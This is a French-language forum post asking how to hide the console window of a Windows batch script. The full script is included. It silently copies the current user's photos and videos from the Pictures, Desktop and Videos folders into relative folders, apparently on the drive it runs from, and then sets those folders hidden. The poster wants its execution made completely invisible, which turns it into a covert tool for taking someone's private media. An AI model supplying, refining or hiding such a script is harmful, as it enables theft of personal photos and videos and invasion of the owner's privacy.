Bonjour,
Oui encore moi en 3 jours 3 problème mais quand on apprend des milliers de questions s'offre à nous!
Donc voilà ma question et mon problème :
Est-il possible de cacher l’exécution d'une commande batch par exemple se programme :
Une fois actionné il va afficher la fenêtre :
![]()
Ce qui est normal mais est il possible de cacher cette fenêtre non pas la réduire mais belle et bien la cacher ?
J'ai lu une multitude de forum sur se sujet mais c'est vague des fois c'est possible des fois non ?
Alors je vous demande a vous Batcheur est il possible de le faire ?
Si quelqu'un à la réponse merci de me la faire part!
Pour info mon Batch est le suivant :
COLOR 3
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.jpg" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.PNJ" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.gif" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.tif" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.gif" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.tif" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.jpg" "photos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.PNJ" "photos\"
ATTRIB Photos +h
CLS
COLOR 2
xcopy /s "%Systemdrive%\Users\%Username%\Videos\*.MOV" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.MOV" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Videos\*.MP4" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.MP4" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Videos\*.3gp" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Videos\*.mpg" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.mpg" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Pictures\*.3gp" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.3gp" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.MP4" "Videos\"
xcopy /s "%Systemdrive%\Users\%Username%\Desktop\*.mpg" "Videos\"
ATTRIB Videos +h
exit
(Juste pour le plaisir je le trouvais marrant)![]()
Partager